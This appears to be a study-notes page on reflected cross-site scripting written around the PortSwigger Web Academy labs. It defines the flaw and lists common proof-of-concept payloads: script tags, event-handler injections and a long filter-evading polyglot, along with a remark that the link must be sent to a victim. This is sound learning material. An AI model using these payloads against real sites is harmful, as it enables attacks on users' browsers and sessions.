> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/xss/reflected-xss.md).

# Reflected XSS

### What is reflected cross-site scripting? <a href="#what-is-reflected-cross-site-scripting" id="what-is-reflected-cross-site-scripting"></a>

Reflected cross-site scripting (or XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe.

These type of XSS is shown in the URL or in the request header.&#x20;

<figure><img src="/files/SMHSgmJ5hjATnOqX2Y0S" alt=""><figcaption></figcaption></figure>

{% embed url="<https://payloadplayground.com/cheatsheets/xss>" %}

Here is some common payloads:

```
<script>alert(1)</script>
<script>alert(document.domain)</script>
"><script>alert(1)</script>
'><script>alert(1)</script>

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
```

For this type of attack, you would need to send this to a victim, whether thats an email, redirect, or other message.&#x20;
